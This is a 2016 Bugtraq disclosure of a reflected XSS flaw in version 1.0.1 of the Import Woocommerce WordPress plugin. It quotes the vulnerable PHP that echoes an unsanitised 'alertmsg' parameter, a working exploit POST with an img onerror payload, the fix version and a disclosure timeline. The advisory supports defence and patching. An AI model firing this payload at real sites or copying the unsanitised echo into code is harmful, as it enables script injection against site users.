bugtraq - Import Woocommerce XSS Vulnerability

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Message-ID: <56CDB9E7.9060902@gmail.com>
Date: Wed, 24 Feb 2016 19:40:47 +0530
From: Rahul Pratap Singh <techno.rps@...il.com>
To: bugtraq@...urityfocus.com
Subject: Import Woocommerce XSS Vulnerability

## FULL DISCLOSURE

 

#Product : Import Woocommerce
#Exploit Author : Rahul Pratap Singh
#Version : 1.0.1
#Home page Link : https://wordpress.org/plugins/import-woocommerce/
#Website : 0x62626262.wordpress.com <http://0x62626262.wordpress.com/>
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 24/Feb/2016

XSS Vulnerability:

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Description:
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"alertmsg" parameter is not sanitized that leads to Reflected XSS.

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Vulnerable Code:
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File: index.php
Line:229-232

function translate_alertstr(){
if(isset($_POST['alertmsg']))
echo __($_POST['alertmsg'],'import-woocommerce');

die();

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Exploit:
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POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1

action=translate_alertstr&alertmsg="><img src=x onerror=alert(1)>

 

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POC:
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https://0x62626262.files.wordpress.com/2016/02/import-woocommercexsspoc.png?w=1700

Fix:
Update to 1.1

Vulnerability Disclosure Timeline:
→ January 30, 2016     – Bug discovered, initial report to WordPress
→ February 1, 2016     – WordPress response, plugin taken down
→ February 24, 2016   – Vendor Deployed a Patch

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Pub Ref:
https://wordpress.org/plugins/import-woocommerce/changelog/

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